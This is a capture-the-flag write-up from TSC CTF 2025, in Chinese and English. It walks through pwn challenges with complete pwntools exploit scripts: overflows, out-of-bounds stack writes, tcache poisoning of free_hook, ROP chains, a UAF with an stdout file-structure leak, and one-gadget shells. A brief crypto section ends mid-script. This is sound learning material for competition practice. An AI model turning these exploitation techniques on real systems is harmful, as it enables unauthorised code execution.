TSC CTF 2025 - writeup

2025-01-17

TSC CTF 2025 - writeup

Author: 堇姬Naup
Rank: 5th

image
image

image
image

總排名第五名,解了26題,這場解的題目有點多,這邊只簡單寫一些有趣的題目,Pwn我應該會全寫

Ranked 5th overall, solving 26 challenges. Since we solved quite a lot of challenges in this competition, I’ll only briefly write about some interesting ones here. But I should write all the Pwn challenges.

btw, this is my pwn template: https://github.com/Naupjjin/MyCTFLib

Pwn

gamble_bad_bad

1
2
3
4
5
6
7
8
9
10
struct GameState {
char buffer[20];
char jackpot_value[4];
} game;

// // // // //

printf("輸入你的投注金額:");
gets(game.buffer);


這裡在輸入時沒有控制輸入長度,導致可以蓋到 jackpot_value
只要蓋 jackpot_value 成 777 就可以 get flag


There is no input length restriction here, allowing us to overwrite jackpot_value.
By simply overwriting jackpot_value to 777, we can get the flag.

1
strcmp(game.jackpot_value, "777")

My script

1
2
3
4
5
from pwn import * 

r=remote("172.31.0.2",1337)
r.sendline(b'a'*20+b'777')
r.interactive()

Localstack

1
2
3
4
5
6
7
8
9
10
11
12
13

int64_t stack[MAX_STACK_SIZE];
int64_t top = -1;

if (strcmp(command, "push") == 0) {
if (sscanf(input, "%*s %ld", &value) == 1) {
stack[++top] = value;
printf("Pushed %ld to stack\n", value);
} else {
printf("Invalid push.\n");
}
} else if (strcmp(command, "pop") == 0) {
printf("Popped %ld from stack\n", stack[top--]);

漏洞點非常明顯,array 在 stack 上
pop 跟 push 沒有管控,導致可以控制top成很大或很小的數字來 oob,這題直接 oob 寫 ret address 就好了
另外show 可以用來 leakPIE 跳 print_flag
另外我這邊在蓋的時候,剛好可以蓋到 top,所以我直接把 top 改成可以推寫入到 save rbp,再往下寫入就可以了 (注意不要蓋到 stack canary)


The vulnerability is very obvious: the array is located on the stack.
By using pop and push, we can manipulate top to a very large or very small number, leading to oob condition. In this challenge, directly using OOB to overwrite the return address is sufficient.

Additionally, show can be used to leak PIE and jump to print_flag.

When overwriting, I happened to be able to overwrite top, so I directly changed top to the saved rbp. From there, I continued writing downward and write return address (making sure not to overwrite the stack canary).


My script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./chal')
debug_init()

else:
REMOTE_INFO=split_nc("nc 172.31.1.2 11100")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p(r)


def pop():
sla(b'>> ',b'pop')

def show():
sla(b'>> ',b'show')

def rcvdata():
rcu("Stack top: ")
leakdata = int(rcl().strip())
print("LEAKDATA:")
print(hex(leakdata))

### exploit

for i in range(2):
pop()

show()
rcu(b'Stack top: ')
leakpie = int(rcl().strip())
piebase = leakpie - 0x14ef

target = piebase + 0x1289


print("notice!!!")
show()

for i in range(3):
show()
rcvdata()
sla(b'>> ',b'push '+str(29).encode())
print(i)

sla(b'>>',b'push '+str(target).encode())

sla(b'>> ',b'exit')

NAUPINFO("LEAKPIE",hex(leakpie))
NAUPINFO("PIEBASE",hex(piebase))
NAUPINFO("TARGET",hex(target))
### interactive
ita()

babyheap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void edit(void){
int size = 0, idx = 0;
printf("index > ");
scanf("%d", &idx);
getchar();
if (!notes[idx]){
puts("invalid!");
return;
}
printf("size > ");
scanf("%d", &size);
getchar();
printf("content > ");
read(0, notes[idx], size);
}

edit function 有 heap overflow 很明顯,通過 unsorted bin leak libc,malloc 兩塊,free掉下面那塊,heap overflow 蓋 tcache fd 到 free_hook,把 free_hook 改成 system,並將想要 Free 的 chunk 是 /bin/sh,就 get shell 了

PS: 記得要讓你在alloc free hook 的 fake chunk 時,tcache_pthread 的 cnt 要是 > 0 的


The edit function has a very obvious heap overflow. Using the unsorted bin, we can leak libc.
Allocate two chunks, then free the lower chunk.
Use heap overflow to overwrite the tcache fd to point to free_hook, then overwrite free_hook with system.
Finally, free a chunk containing /bin/sh to get a shell.

PS: Remember that when allocating the fake chunk for free_hook, the tcache_pthread count must be greater than 0.


My script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./chal')
debug_init()

else:
REMOTE_INFO=split_nc("nc 172.31.3.2 4241")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p(r)

### Heap IO
def alloc(index, size):
sla("> ",b'1')
sla(b'index > ',str(index).encode())
sla(b'size > ',str(size).encode())

def free(index):
sla("> ",b'2')
sla(b'index > ',str(index).encode())

def edit(index, size,txt):
sla("> ",b'3')
sla(b'index > ',str(index).encode())
sla(b'size > ',str(size).encode())
sla(b'content > ',txt)

def show(index):
sla("> ",b'4')
sla(b'index > ',str(index).encode())

### exploit


##### leaklibc
alloc(1,0x420)
alloc(2,0x20)

free(1)
alloc(1,0x420)
show(1)
leaklibc = u64(rcl()[:8])
libcbase = leaklibc - 0x1ecbe0

libc_freehook = libcbase + 0x1eee48
libc_system = libcbase + 0x52290

#####
alloc(3,0x60)
alloc(4,0x60)
alloc(5,0x60)

free(5)
free(4)

edit(3,0x100,b'a'*0x68+p64(0x71)+p64(libc_freehook))

alloc(6,0x60)
alloc(7,0x60)

edit(7,0x100,p64(libc_system))

alloc(8,0x50)
edit(8,0x50,b'/bin/sh\x00')

free(8)

NAUPINFO("LEAKLIBC",hex(leaklibc))
NAUPINFO("LIBCBASE",hex(libcbase))
NAUPINFO("FREEHOOK",hex(libc_freehook))

### interactive
ita()

窗戶麵包

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall main()
{
FILE *v0; // rax
char buf[48]; // [rsp+20h] [rbp-30h] BYREF

_main();
v0 = __acrt_iob_func(1u);
setvbuf(v0, 0LL, 4, 0LL);
printf("Something important: %p\n", main);
puts("Can you get the flag?");
_read(0, buf, 0x100u);
return 0LL;
}

有 buffer overflow 蓋 return address 控 rip 跳到 magic function(有給 main function address,通過計算 magic function 跟 main function offset 算出 magic address)


There is a buffer overflow that overwrites the return address, controlling the rip to jump to the magic function. The address of the main function is provided, and by calculating the offset between the magic function and the main function, we can determine the magic function’s address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void __cdecl magic(const char *param1, int param2, const char *param3)
{
if ( !strcmp(param1, "B33F50UP") )
{
if ( param2 == 1337 )
{
if ( !strcmp(param3, "open_sesame") )
{
puts("All parameters are correct. Opening shell...");
WinExec("cmd.exe", 0);
}
else
{
puts("Parameter 3 is incorrect!");
}
}
else
{
puts("Parameter 2 is incorrect!");
}
}
else
{
puts("Parameter 1 is incorrect!");
}
}

這邊記得往後跳一點,跳過判斷式,就可以 get shell 了
如果有亂碼就下 chcp 65001


Remember to jump a bit further ahead to skip the conditional check, and you’ll be able to get the shell.
If you encounter any garbled characters, run chcp 65001 to set the code page to UTF-8.


My script

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

r = remote("172.31.0.3", 56001)
context.arch = "amd64"

r.newline = b"\r\n"
r.recvuntil(b'Something important: ')
main = int(r.recvuntil(b"\n"), 16)
print(hex(main))
magic = main - 46
r.sendlineafter(b'Can you get the flag?',b'a'*56+p64(magic))

r.interactive()

Globalstack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int64_t stack[MAX_STACK_SIZE];
int64_t* top = stack - 1;

if (strcmp(command, "push") == 0) {
if (sscanf(input, "%*s %ld", &value) == 1) {
top += 1;
*top = (int64_t)value;
printf("Pushed %ld to stack\n", value);
} else {
printf("Invalid push.\n");
}
} else if (strcmp(command, "pop") == 0) {
printf("Popped %ld from stack\n", *top);
top -= 1;
}

localstack,不過這題不在 stack 上,GOT 上有libc,通過show leak libc,之後改 top (改成任意記憶體位置可以有任意寫) 到 free hook,並把 free hook 寫 one gadget,跳上去 get shell


This is similar to localstack, but in this case, it’s not on the stack. The GOT contains a libc address. By using the show function, we can leak libc.
After that, we modify top (which allows us to write to any memory location) to point to the free_hook, then overwrite the free_hook with a one-gadget.
Finally, we jump to the one-gadget to get the shell.


My script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./chal')
debug_init()

else:
REMOTE_INFO=split_nc("nc 172.31.1.2 11101")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p(r)


def pop():
sla(b'>> ',b'pop')

def show():
sla(b'>> ',b'show')

### exploit
pop()
show()
rcu(b'Stack top: ')
leaklibc = int(rcl().strip())
libcbase = leaklibc - 0x1ec980

pop()
pop()
pop()
pop()
show()

rcu(b'Stack top: ')
leakPIE = int(rcl().strip())
PIEbase = leakPIE - 0x4010

libc_onegadget = libcbase + 0xe3b01
libc_freehook = libcbase + 0x1eee48

pop()
sla(b'>> ',b'push '+str(libc_freehook).encode())

pop()
sla(b'>>',b'push '+str(libc_onegadget).encode())

sla(b'>> ',b'exit')

NAUPINFO("LEAKLIBC",hex(leaklibc))
NAUPINFO("LIBCBASE",hex(libcbase))
NAUPINFO("LEAKPIE",hex(leakPIE))
NAUPINFO("PIEBASE",hex(PIEbase))
NAUPINFO("ONEGADGET",hex(libc_onegadget))
NAUPINFO("LIBC_FREE_HOOK",hex(libc_freehook))
### interactive
ita()


'''
naup@naup-virtual-machine:~/Desktop/TSC/pwn/chal1/aaaaa$ one_gadget libc-2.31.so
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp


pwndbg> x/30xg 0x555555557f90
0x555555557f90 <free@got[plt]>: 0x00007ffff7e6f6d0 0x00007ffff7e59420
0x555555557fa0 <__stack_chk_fail@got.plt>: 0x00007ffff7f04c90 0x00007ffff7e36c90 <-
0x555555557fb0 <fgets@got[plt]>: 0x00007ffff7e57630 0x00007ffff7f58df0
0x555555557fc0 <malloc@got[plt]>: 0x00007ffff7e6f0e0 0x00007ffff7e38270
0x555555557fd0 <setvbuf@got[plt]>: 0x00007ffff7e59ce0 0x0000000000000000
0x555555557fe0: 0x00007ffff7df8f90 0x0000000000000000
0x555555557ff0: 0x0000000000000000 0x00007ffff7e1bf10
0x555555558000: 0x0000000000000000 0x0000555555558008
0x555555558010 <top>: 0x0000555555558038 0x0000000000000000
0x555555558020 <stdout@@GLIBC_2.2.5>: 0x00007ffff7fc26a0 0x0000000000000000
0x555555558030 <stdin@@GLIBC_2.2.5>: 0x00007ffff7fc1980 0x0000000000000000
0x555555558040 <stack>: 0x0000000000000000 0x0000000000000000
0x555555558050 <stack+16>: 0x0000000000000000 0x0000000000000000
0x555555558060 <stack+32>: 0x0000000000000000 0x0000000000000000
0x555555558070 <stack+48>: 0x0000000000000000 0x0000000000000000

0x555555557f98 <puts@got[plt]>: 0x00007ffff7e59420 0x00007ffff7f04c90
0x555555557fa8 <printf@got[plt]>: 0x00007ffff7e36c90 0x00007ffff7e57630
0x555555557fb8 <strcmp@got[plt]>: 0x00007ffff7f58df0 0x00007ffff7e6f0e0
0x555555557fc8 <__isoc99_sscanf@got.plt>: 0x00007ffff7e38270 0x00007ffff7e59ce0
0x555555557fd8: 0x0000000000000000 0x00007ffff7df8f90
0x555555557fe8: 0x0000000000000000 0x0000000000000000
0x555555557ff8: 0x00007ffff7e1bf10 0x0000000000000000
0x555555558008: 0x0000555555558008 0x0000555555558038
0x555555558018: 0x0000000000000000 0x00007ffff7fc26a0
0x555555558028: 0x0000000000000000 0x00007ffff7fc1980
0x555555558038 <completed>: 0x0000000000000000 0x0000000000000000
0x555555558048 <stack+8>: 0x0000000000000000 0x0000000000000000
0x555555558058 <stack+24>: 0x0000000000000000 0x0000000000000000
0x555555558068 <stack+40>: 0x0000000000000000 0x0000000000000000
'''

BabyStack

1
2
3
4
5
6
puts("| Show your skills !");
printf("| > ");
scanf("%llx", &ptr);

printf("| > ");
read(0, ptr, 0x10);

這裡有任意寫可以控 libc 裡面的 GOT,將 rsp 往上搬 0x58


we have arbitrary write, which allows us to control the GOT inside libc. By moving the rsp up by 0x58

1
2
3
4
5
6
7
8
9
10
11
puts("| Do you know how the stack works ?");
printf("| > ");
read(0, ans0, 8);

puts("| Do you know how the stack works ?");
printf("| > ");
read(0, ans1, 8);

puts("| Do you know how the stack works ?");
printf("| > ");
read(0, ans2, 8);

接下來在原本讓你輸入的地方會剛好在 rsp 所指的地方,ret繼續執行,這邊寫 onegadget(前面兩個 gadget 用來調整成 one gadget 條件)


Next, the place where you were originally allowed to input will happen to be at the location pointed to by rsp. After the ret, execution continues. Here, we write the one-gadget (with the previous two gadgets used to adjust the conditions for the one-gadget).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./chal')
debug_init()

else:
REMOTE_INFO=split_nc("nc 172.31.2.2 36902")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p(r)


### exploit

rcu(b'| Gift : ')
leaklibc = int(rcl().strip(),16)
libcbase = leaklibc - 0x80e50

ABS_GOT = libcbase + 0x21a098
tst_addr = libcbase + 2203648

onegadget = libcbase + 0xebc88

'''

0x000000000002be51 : pop rsi ; ret
0x0000000000170337 : pop rdx ; ret 6
'''

pop_rsi = libcbase + 0x2be51
pop_rdx = libcbase + 0x170337

sa(b'> ',p64(pop_rsi))
sa(b'> ',p64(pop_rdx))
sa(b'> ',p64(onegadget))

sla(b'> ',hex(ABS_GOT)[2:].encode())

'''
0x00000000000a0265 : add rsp, 0x58 ; ret
'''

add_RSP_hex58 = libcbase + 0x0a0265
sa(b'> ',p64(add_RSP_hex58))

NAUPINFO("LEAKLIBC",hex(leaklibc))
NAUPINFO("LIBCBASE",hex(libcbase))

### interactive
ita()

'''
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebc85 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebce2 execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp

0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
rax == NULL || {rax, r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x50 is writable
rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

'''

Babyrust

image
image

buffer overflow 打 ROP,通過 gadget 把 /bin/sh 寫到記憶體上,並把 rax、rdi、rsi、rdx 堆成 syscall table 的值,唯一遇到的問題是沒有syscall,不過可以在這裡看到封裝過的 syscall (我是去追 gdb 發現他不是一般的 syscall)

不過這裡的 syscall 會把你的參數位移,按照這個位移就行了


In this case, a buffer overflow is used to perform a ROP attack. Through gadgets, we write /bin/sh to memory and set up the values for rax, rdi, rsi, and rdx to match the syscall table. The only issue encountered is the absence of a direct syscall, but by inspecting the code in GDB, we can see that the syscall is encapsulated (it’s not a regular syscall).

However, this encapsulated syscall shifts the parameters, so we just need to account for the offset in the parameters to make it work correctly.

1
2
3
4
5
6
7
8
9
10
11
12
ENTRY (syscall)
movq %rdi, %rax /* Syscall number -> rax. */
movq %rsi, %rdi /* shift arg1 - arg5. */
movq %rdx, %rsi
movq %rcx, %rdx
movq %r8, %r10
movq %r9, %r8
movq 8(%rsp),%r9 /* arg6 is on the stack. */
syscall /* Do the system call. */
cmpq $-4095, %rax /* Check %rax for error. */
jae SYSCALL_ERROR_LABEL /* Jump to error handler if error. */
ret

https://codebrowser.dev/glibc/glibc/sysdeps/unix/sysv/linux/x86_64/syscall.S.html


My script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./babyrust')
debug_init()

else:
REMOTE_INFO=split_nc("nc 172.31.1.2 11102")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p(r)

### exploit

rcu(b'Magic: ')
leakpie = int(rcl().strip(),16)
piebase = leakpie - 0x51008

NAUPINFO("LEAKPIE: ",hex(leakpie))
NAUPINFO("PIEbase: ",hex(piebase))

'''
0x0000000000008bc3 : pop rax ; ret
0x0000000000007052 : pop rdi ; ret
0x0000000000006b96 : pop rsi ; ret
0x0000000000007438 : pop rcx ; ret
0x000000000002d28a : mov rdx, rcx ; ret
0x0000000000010a20 : mov qword ptr [rdi], rax ; ret
'''
pop_rax_ret = piebase + 0x8bc3
pop_rdi_ret = piebase + 0x7052
pop_rsi_ret = piebase + 0x6b96
pop_rcx_ret = piebase + 0x7438
mov_rcx_to_rdx = piebase + 0x2d28a
mov_ptr_rdi_rax_ret = piebase + 0x10a20

binsh = piebase + 0x51ab0
syscall = piebase + 0x1dd4d

ropchain = b'a'*448 + p64(pop_rax_ret) + b'/bin/sh\x00'.ljust(8,b'\x00')
ropchain+= p64(pop_rdi_ret) + p64(binsh) + p64(mov_ptr_rdi_rax_ret)
ropchain+= p64(pop_rdi_ret) + p64(0x3b)
ropchain+= p64(pop_rsi_ret) + p64(binsh)
ropchain+= p64(pop_rcx_ret) + p64(0)
ropchain+= p64(mov_rcx_to_rdx)
ropchain+= p64(syscall)

sla(b'Give me your overflow: ',ropchain)

### interactive
ita()

no view (賽後解)

1
2
3
4
5
6
7
8
void delete(void){
int idx = 0;
printf("index > ");
scanf("%d", &idx);
if (notes[idx]){
free(notes[idx]);
}
}

這邊先了解 _IO_2_1_stdout_ 該如何leaklibc
_IO_2_1_stdout_ 這個 file structure flags 加上 _IO_CURRENTLY_PUTTING_IO_IS_APPENDING,並把 _IO_write_base 改小,就可以 leaklibc
先看這個 POC


To understand how to leak libc using _IO_2_1_stdout_, we need to focus on the file structure, specifically the flags _IO_CURRENTLY_PUTTING and _IO_IS_APPENDING. By modifying the flags of the file structure and shrinking _IO_write_base, we can exploit this to leak libc.

Let’s take a look at the POC

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>

int main()
{
int flags,modified_flag;
setbuf(stdout, NULL);
flags = stdout->_flags;
stdout->_flags = 0xfbad2087 | 0x1000 | 0x800;
stdout->_IO_write_base -= 8;
printf("flags: 0x%x\n", flags);
}

Detail:
https://reinject.top/posts/ctf-pwn/leaklibc/overwrite__io_2_1_stdout_to_leak_libc/

delete 把 chunk free 掉後沒有清空 pointer,導致有 UAF
首先是先 malloc 兩塊 chunk,一塊大的會進 unsorted bin
一塊小的防止 unsorted bin chunk 被合併到 top chunk

接下來 malloc 兩塊,他會從 unsorted bin chunk 切空間來用
第一塊 chunk 會有 main arena(double linklist 會指回 main arena)

把第二塊 free 掉讓他掉入 tcache
通過 UAF 將第一塊 chunk (有 main_arena) 低位改成 0xd6a0,並將他 copy 到被 free 掉的 tcache chunk

_IO_2_1_stdout_ 的 offset 是 0x1ed6a0
main arena 的 offset 是 0x1ecfd0

扣掉低位是 0x000直接改就行,和最高位兩位相同基本上不會有問題(除非有進位但先省略)
那就會有 1/16 (0x0 ~ 0xf) 機會拿到 stdout
拿到 stdout 後就改 flags 成 0xfbad1800,write base 低位改為 0x00

拿到 libcbase 後就跟 babyheap 一樣打 tcache poinsoning 了


After deleting and freeing the chunk, the pointer is not cleared, leading to UAF vulnerability.
First, we malloc two chunks: one large chunk goes into the unsorted bin, and one small chunk prevents the unsorted bin chunk from being merged into the top chunk.

Next, malloc two more chunks. These will be allocated from the unsorted bin chunk. The first chunk will contain a main_arena pointer (since the double-linked list points back to main_arena).

By freeing the second chunk, it will go into the tcache. Through the UAF, we overwrite the lower part of the first chunk (which contains main_arena) with 0xd6a0 and copy it into the freed tcache chunk.

The offset of _IO_2_1_stdout_ is 0x1ed6a0, and the offset of main_arena is 0x1ecfd0.
By subtracting the lower bits (which are 0x000), we can directly modify the value, and since the highest bits are the same, there won’t be any issues. This gives us a 1/16 chance (0x0 ~ 0xf) of obtaining the stdout address.

Once we have stdout, we change the flags to 0xfbad1800 and set the lower bits of write_base to 0x00.

After obtaining the libc base address, we proceed with tcache poisoning, similar to the babyheap technique.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *
from libs.NAUP_pwn_lib import *
import time
from libs.NAUP_filestructure_lib import *
from libs.NAUP_fmt_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

x64_env()

REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./chal')
debug_init()

else:
REMOTE_INFO=split_nc("nc 172.31.3.2 4240")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### attach
if input('attach?(y/n)') == 'y':
p(r)


### heap IO

def alloc(index, size):
sla(b'> ',b'1')
sla(b'index > ',str(index))
sla(b'size > ',str(size))


def free(index):
sla(b'> ',b'2')
sla(b"index > ", str(index))

def edit(index, txt):
sla(b'> ',b'3')
sla(b"index > ", str(index))
sa(b"content > ",txt)

def copy(index1, index2):
sla(b'> ',b'4')
sla(b'index1 > ', str(index1))
sla(b'inde2 > ', str(index2))

### exploit
alloc(1, 0x420)
alloc(2, 0x10)

free(1)
alloc(3, 0x60)
alloc(4, 0x60)
alloc(5, 0x60)

free(4) #2
free(5) #1

copy(5, 3)

edit(5, b'\xa0\x86')
alloc(6, 0x60)
alloc(7, 0x60)

edit(7, p64(0xfbad1800) + p64(0) * 3 + b'\x00')

leaklibc = u64(rcl()[8:16])
libcbase = leaklibc - 0x1ec980

libc_freehook = libcbase + 0x1eee48
libc_system = libcbase + 0x52290

alloc(8, 0x50)
alloc(9, 0x50)

free(9)
free(8)

edit(8,p64(libc_freehook))
alloc(10, 0x50)
alloc(11, 0x50)

edit(11, p64(libc_system))
alloc(12, 0x30)

edit(12, b'/bin/sh\x00')
free(12)

#NAUPINFO("PID",r.pid)
NAUPINFO("IO_STDOUT",hex(0x1ed6a0))
NAUPINFO("LEAKLIBC",hex(leaklibc))
NAUPINFO("LIBCBASE",hex(libcbase))

### interactive
ita()

TSCCTF{w0w_y0u_hav3_succ3ss4_1nsp3ct_th3_s3cr3t_congrats}

Crypto

2DES

DES 弱密鑰對

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

r = remote("172.31.2.2",9487)

# 1FE01FE00EF10EF1 & E01FE01FF10EF10E

payload = b'E01FE01FF10EF10E'

r.sendlineafter(b'> ',b'1')
r.sendlineafter(b'Enter key2 (hex): ',payload)

r.interactive()

我從來都不覺得算密碼學開心過

image
image

枚舉其中一個 r 看解不解的出來

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import getPrime, long_to_bytes
from Crypto.Util.Padding import pad,unpad
from Crypto.Cipher import AES
from random import randrange

p = 42899

hashes=[0]*4
